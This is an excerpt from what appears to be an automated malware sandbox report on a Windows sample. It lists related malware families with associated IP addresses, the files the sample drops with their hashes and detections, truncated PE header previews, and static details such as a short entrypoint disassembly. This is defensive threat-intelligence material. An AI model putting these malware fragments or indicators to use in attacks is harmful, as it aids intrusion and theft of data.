	VYACm4h0WB.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	211.171.233.126
	fR2F583a5Y.elf	Get hash	malicious	Mirai	Browse	121.67.88.158
	Hg4L4TLIT0.elf	Get hash	malicious	Mirai	Browse	112.222.229.84
	1SSHp4VKId.elf	Get hash	malicious	Mirai	Browse	112.222.229.22
	file.exe	Get hash	malicious	SmokeLoader	Browse	211.53.230.67
	Factura_Pendiente.exe	Get hash	malicious	FormBook, GuLoader	Browse	211.115.92.181
	6Q9c3evIBW.elf	Get hash	malicious	Mirai	Browse	58.78.205.65
	lBqZn5rbZ2.elf	Get hash	malicious	Mirai	Browse	182.162.9.165
	file.exe	Get hash	malicious	SmokeLoader	Browse	211.53.230.67
MegaCableSAdeCVMX	XO9yrA8GlB.elf	Get hash	malicious	Mirai	Browse	148.216.138.88
	aa2e2uMrum.elf	Get hash	malicious	Mirai	Browse	177.247.187.32
	VYACm4h0WB.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	200.92.136.254
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	200.92.136.254
	pwhWdorS9R.elf	Get hash	malicious	Mirai	Browse	177.227.216.199
	file.exe	Get hash	malicious	SmokeLoader	Browse	200.92.136.254
	w0FemtdVXq.elf	Get hash	malicious	Mirai, Moobot	Browse	148.216.152.130
	oHqZ0zT7DZ.elf	Get hash	malicious	Mirai	Browse	177.230.12.9
	eOPFacwXf7.elf	Get hash	malicious	Mirai	Browse	177.247.228.180
	puGnofFCEf.elf	Get hash	malicious	Mirai	Browse	201.132.184.44
	IIw6S9lWlX.elf	Get hash	malicious	Mirai	Browse	148.216.163.70
	Xa6EadzxHo.elf	Get hash	malicious	Mirai	Browse	201.165.161.125
	UopRhMfyUw.elf	Get hash	malicious	Mirai	Browse	177.231.211.53
	e84dV3jzGY.elf	Get hash	malicious	Mirai	Browse	177.245.137.10
	BgL6t8Fl3u.exe	Get hash	malicious	SmokeLoader	Browse	200.92.136.254
	6kg217B1to.elf	Get hash	malicious	Mirai	Browse	177.247.228.179
	KqVmsPag8G.elf	Get hash	malicious	Mirai	Browse	189.197.247.192
	Ug4sjfbJfF.elf	Get hash	malicious	Mirai	Browse	148.216.187.69
	ElsY83YuSo.elf	Get hash	malicious	Mirai	Browse	148.216.114.88
	lzV0k2sZ23.elf	Get hash	malicious	Mirai	Browse	187.241.191.232

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	indicat.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	rj51W7g00R.exe	Get hash	malicious	RedLine	Browse
	UIB9S0uVzu.exe	Get hash	malicious	Stealc, Vidar	Browse
	egNeejjND4.exe	Get hash	malicious	RedLine	Browse
	toolspub1.exe	Get hash	malicious	Babuk, Djvu, Fabookie, RedLine, SmokeLoader, zgRAT	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_EDBC.exe_e1d68d6de7e65ab8f5fe3cfa7228d85fdd39528_0bc9349f_180f0519\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7433853065755502
Encrypted:	false
SSDEEP:	96:I/FPWQphY/p3dh7/7ebS3pXIQcQfc6FcEDcw3+se+HbHg/8BRTf32kEJ8Imov9OD:mVlhY/pdHxBJacjpq/u7s9S274Itr
MD5:	CDA84DD45E0458677369F9CC33D35117
SHA1:	942222A1AB240F239579ABFA6A3BF9A7296503BB
SHA-256:	6EE614D74251A64A1D57C393FA4657CCF01A617254C6C83283291CAA489500D9
SHA-512:	AEBAFC3C92D81FD8037D3DD3D72CAF4AE8340DCA913B409E8E845198DF0CBE589B10B0551A0FCB0EFB7039B9234ACE4868F894BC63E07E9A29ABA9020C699E15
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.0.7.9.3.3.1.7.5.8.6.5.1.9.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.0.7.9.3.3.1.8.0.0.8.3.9.6.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.3.a.4.b.9.c.f.-.2.0.6.b.-.4.2.b.e.-.9.9.1.1.-.d.8.8.2.3.0.b.c.5.6.8.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.b.9.c.3.6.2.-.c.3.4.e.-.4.7.7.c.-.8.0.e.e.-.e.b.e.2.8.1.2.d.5.b.0.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.E.D.B.C...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.c.8.-.0.0.0.1.-.0.0.2.8.-.e.b.6.5.-.3.1.f.2.c.e.f.5.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.9.f.9.5.c.3.2.e.7.e.e.2.f.9.8.f.d.3.3.8.6.f.5.c.b.3.9.b.8.d.0.0.0.0.f.f.f.f.!.0.0.0.0.f.d.f.e.d.d.5.e.f.3.9.f.2.3.2.5.9.6.3.e.f.e.7.7.4.2.4.0.9.9.8.d.1.b.e.6.c.a.c.d.!.E.D.B.C...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3././.1.0././.0.3.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB17.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 3 07:55:17 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	41556
Entropy (8bit):	1.8938926996652912
Encrypted:	false
SSDEEP:	96:5Z8p18dGYJrYpJI4+woi7dqnzU/iXIA2K4/hn2OCD4FdcOPs/DGCGZWD2sWI0kWA:gsNYphCOdDn2OCD4FdJsY82/6BFW
MD5:	9230436521A9C996B8A25209D43FC4CC
SHA1:	58BE7969007E034D1ACEE4BA0135C9C011C43EBD
SHA-256:	CBC3D5A716FC1CEC8375A94FD0260DE1962A12D933A2FDB728656EEDD720E90B
SHA-512:	122A6B547EAA6E81ED9015CABE31F357018FD0F48F4DB572CA17DA44E1473555D8BEF8938A134C9C55B2DF02CB10E65B32DE7F8D0AF80F6F0DC1010F090751C9
Malicious:	false
Reputation:	low
Preview:	MDMP....... ..........e.........................................#..........T.......8...........T...........................................................................................................U...........B......0.......GenuineIntelW...........T..............e............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBB4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8320
Entropy (8bit):	3.6932976086495057
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNimp6GrZ6YpjSU74gmf7SM++pDM89bqqGqsf4Om:RrlsNiY6GN6YNSU74gmf7S6qqGJfo
MD5:	BF90B98F0588866117C8C61FD3DF184F
SHA1:	A428BABB896F347FE48074FBA1578A0F04E982D8
SHA-256:	A4D55F6A620FBDCEBABCD90A4A71A823B4B0BCFAAA708FDC27B3D22805445A22
SHA-512:	A528FB8C2DDF4A3F2146AC08A4E9D32FB3433FFDDCE20911630E3E529E11D808B7CD328659EAB3B3F0DE8FF9D683804A055DE1235C9CF43D15F3FEA12745163C
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.0.6.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBE4.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.431404271441674
Encrypted:	false
SSDEEP:	48:cvIwSD8zsmJgtWI9dxWgc8sqYj/A/8fm8M4Jgp6Faa+q8vnp3pgpUtHdd:uITf8eggrsqYbhJkBaKp3pgmt9d
MD5:	4FB8D386EAF5A6CBE5C94AF9B33D5A55
SHA1:	E8B681C8B9BDD9D52FF7FB6E01FE7CF026D7E4FE
SHA-256:	88A642CE8BDBB9803330F21E072635D165EC8B900757E2E979BB7438E62158EB
SHA-512:	A32B43CEB7BFB2DCE68E82E577156EF921D916173A4C897FB1C6DD534E3871F9B1929D1FC9283D00BAB517D743CB0846A77D09898A34E274D338B7492A040E74
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2244545" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6E11.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\6E11.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	5.346977539202287
Encrypted:	false
SSDEEP:	24:MLU84qpE4KI2KDE4KhKYIqDcfJKhuE4pqJE4klEE46k6AE4KIb:Mgv2HKI2YHKhBUouHkJHklEH6wHKY
MD5:	08121FC2C27784C587C3AE5926E51DDC
SHA1:	1BC421D1073F5D5F44B17783EF1234766AE9411D
SHA-256:	C2AE3A7704576F73616A2EBE9698501B7CCD2E6DC466E2CD9DCAB167D0E5872F
SHA-512:	D1DA8E67B6A3C15D99280296C08F47D9BB9BF22A05ABC8A36E08B59697F624718A3EA3DD3EA39DAD363279C8B7361CF5B5A0071644612AF04B9314E3291F4853
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\2bef38851483abae82f1172c1aaa604c\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\9d04ce1d8a3042f50b54c7f9ccdb4068\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\b6866d120f1141e4ed1a9336885d9b88\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\89672248685841ebbef19edc0e2fb2bf\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, Publi

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	modified
Size (bytes):	984
Entropy (8bit):	5.227423502376633
Encrypted:	false
SSDEEP:	24:Yq6CUXyhm5IUmtQlbNdB6hm5VUmtQlz0Jahm5SUmtQlHZ6T06Mhm5vUmtQlbxdB8:YqDUXycIwbNdUcpwz0JacWwHZ6T06Mcb
MD5:	D9512E54D33D06E68E0C0D36726F7776
SHA1:	2E2ED852C188E0F96FCF861D7B73B8C479379845
SHA-256:	C70B840F192B885EF63C8426B0667EF175424A96DEC79A988C9525AD8E6997D2
SHA-512:	AAFCD49F2C87D4D43076CB4C1357FFAC9AB224ADBD4CEB06961755A0D6305D550090DDA34CAAA3C9B2700EF182CC9D6000BAB87A1A31D15A6A9F7565F60BA515
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"RecentItems":[{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":2360844864,"LastSwitchedHighPart":30747916,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2350844864,"LastSwitchedHighPart":30747916,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":2340844864,"LastSwitchedHighPart":30747916,"PrePopulated":true},{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":2330844864,"LastSwitchedHighPart":30747916,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2320844864,"LastSwitchedHighPart":30747916,"PrePopulated":true},{"AppID":"Microsoft.Getstarted_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2310844864,"LastSwitchedHighPart":30747916,"PrePopulated":true}]}

C:\Users\user\AppData\Local\Temp\6E11.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3413536
Entropy (8bit):	7.252446325799637
Encrypted:	false
SSDEEP:	49152:tn37OXnskBCIZCtnLi3R8CzA1+g50U7PKDR/9QKiG7PrznN:ti4Li3R8sE+g5x2t/9/T9
MD5:	4527E3FE757DD266980F572C43F22EF3
SHA1:	BBA8BAE79D53F6B3DB43E82C85D0090B7934C8F6
SHA-256:	C5DC9C7BA82D0573EAD80F7174706AD1A5432616CE5602D1EC7F778F910136B7
SHA-512:	984179C7E0FFCDAB3D4E8C67ECA21918D61D06EC68CE1529BA21BF4C4E839BB05CDBD9B6A69BC7424C459650DA7D9813980765E4E25AE2A11ECE64A428EC41DD
Malicious:	true
Yara Hits:	Rule: INDICATOR_EXE_Packed_DotNetReactor, Description: Detects executables packed with unregistered version of .NET Reactor, Source: C:\Users\user\AppData\Local\Temp\6E11.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P...1...........1.. ....2...@.. ........................3......p4...@...................................1.K.....2...............3. .....3.....k.1.............................................. ............... ..H............text...$.1.. ....1................. ..`.rsrc.........2.......1.............@..@.reloc........3.......3.............@..B..................1.....H.......hD..............h..... .........................................:+.(..5E.(.....V+.(.,.?..(....8.......B+.(..J:~..........6+.(f.6a~.......0..........+.(.Me8........E..../...K...k...J...8...s.........8....s......... .....9....&8....s......... .....:....&8....s......... .....:....& ....8....s......... ....8l....0..Z.......+.(.W0\ ........8........E....'.......8"....~....o...... ....(....9....&8....8....8.........0..M.......+.(.FkK8/.......E........8....8.... ....

C:\Users\user\AppData\Local\Temp\EDBC.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	624640
Entropy (8bit):	6.987560195168364
Encrypted:	false
SSDEEP:	12288:tAtOTnK5dEXnMCyoW32HcBW4s1TojHZPT/GLVjUohlQ3xIKrgWGvx:tDT4O4v3c6WjToj5PT+LpUo+uM8x
MD5:	59E6F40D24C3EA84FA3BCF55B8F72C9D
SHA1:	FDFEDD5EF39F2325963EFE774240998D1BE6CACD
SHA-256:	433066AFD2579211323F9FE6AC6945B354B5422CAF932DABE4F9101BF6C71AD3
SHA-512:	54A08BAE9ECE1FCCB6E4D9BBC50E0D3BBB2E165A5E484A345E9BC5F2DE9AEDA0DA41C5737FA7F9B8E5BEBE957F69604C6B09CD452C4036958631C8461B83D894
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=j.hy.~;y.~;y.~;.y}:r.~;.y{:..~;.yz:m.~;6wz:h.~;.y.:p.~;y..;..~;6w{:G.~;6w}:o.~;.w{:x.~;.w~:x.~;.w.;x.~;.w\|:x.~;Richy.~;........................PE..L.....e...............".x...........b............@.......................................@.........................p...P.......d...............................h.......................................@............................................text....v.......x.................. ..`.rdata...............\|..............@..@.data....e...0...Z..................@....rsrc................l..............@..@.reloc..h............n..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\6E11.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: indicat.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rj51W7g00R.exe, Detection: malicious, Browse Filename: UIB9S0uVzu.exe, Detection: malicious, Browse Filename: egNeejjND4.exe, Detection: malicious, Browse Filename: toolspub1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\aueuggs

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	302592
Entropy (8bit):	5.389538931745946
Encrypted:	false
SSDEEP:	3072:NF/UIMBCdB8/sD2bFtBKXRo8G7lWsoSywCo62qXSuqWRlGhiVy:r/UIKC38/sD2bFeXRIPorOK/bRlg
MD5:	EC1D1CD9D43698631CEB1157E680A00A
SHA1:	FE62F6419EDCA78ED9FF69B7CE0251E0DFDE76E6
SHA-256:	A131B5CB6DD4B0DAEEA80EDA409B3957FC9D7D33B0A4058E19D28B9CDEBB51B6
SHA-512:	CCBFF7F3B4B35197ECC0D532DA87CECA859BF33C583A148A3A9DC5B92DB1D3EA39EA5F91ED44A57A6DA236ACD0A6DDE841BB6B5501AAC798B5D9BCA62DBB4DAA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 46%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................S.v.....p....D.....E.....}......N...A.....t.....s....Rich...........................PE..L......b.............................Z............@..................................(......................................$...P....@..P............................................................D..@............................................text............................... ..`.data...,x.......>..................@....rsrc...P....@......................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\aueuggs:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.389538931745946
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	302'592 bytes
MD5:	ec1d1cd9d43698631ceb1157e680a00a
SHA1:	fe62f6419edca78ed9ff69b7ce0251e0dfde76e6
SHA256:	a131b5cb6dd4b0daeea80eda409b3957fc9d7d33b0a4058e19d28b9cdebb51b6
SHA512:	ccbff7f3b4b35197ecc0d532da87ceca859bf33c583a148a3a9dc5b92db1d3ea39ea5f91ed44a57a6da236acd0a6dde841bb6b5501aac798b5d9bca62dbb4daa
SSDEEP:	3072:NF/UIMBCdB8/sD2bFtBKXRo8G7lWsoSywCo62qXSuqWRlGhiVy:r/UIKC38/sD2bFeXRIPorOK/bRlg
TLSH:	6454AF1376D0FC21D4666A314D29C2A53B2EFCA19E6967DB33983F3B49701E19A72703
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................S.v.......p.......D.......E.......}.........N.....A.......t.......s.....Rich............................PE..L..

File Icon


Icon Hash:	455585a552494941

Static PE Info

General

Entrypoint:	0x405ad7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62F1D499 [Tue Aug 9 03:29:29 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	22101b09b25f37226d51fdc3f87abcff

Entrypoint Preview

Instruction
call 00007FA448877D29h
jmp 00007FA448872C5Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401354h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FA448872DDEh
test byte ptr [eax], 00000008h
je 00007FA448872DD9h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [00401148h]
leave
retn 0008h
sub eax, 000003A4h
je 00007FA448872DF4h
sub eax, 04h
je 00007FA448872DE9h
sub eax, 0Dh
je 00007FA448872DDEh
dec eax
je 00007FA448872DD5h
xor eax, eax
ret
mov eax, 00000404h
ret
mov eax, 00000412h
ret
mov eax, 00000804h
ret
mov eax, 00000411h
ret
mov edi, edi
push esi
push edi
mov esi, eax
push 00000101h
xor edi, edi
lea eax, dword ptr [esi+1Ch]
push edi
push eax
call 00007FA448873C22h
xor eax, eax
movzx ecx, ax
mov eax, ecx
mov dword ptr [esi+04h], edi
mov dword ptr [esi+08h], edi
mov dword ptr [esi+0Ch], edi
shl ecx, 10h
or eax, ecx
lea edi, dword ptr [esi+10h]
stosd
stosd
stosd
mov ecx, 0043C060h
add esp, 0Ch
lea eax, dword ptr [esi+1Ch]
sub ecx, esi
mov edi, 00000101h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3a924	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e84000	0xb550	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x44f0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x214	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3a580	0x3a600	False	0.5114092612419701	data	5.626588044265271	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3c000	0x1e4782c	0x3e00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1e84000	0xb550	0xb600	False	0.37613753434065933	data	4.067415538915995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x1e8baf0	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x1e8baf8	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x1e8bb00	0x2	data	5.0
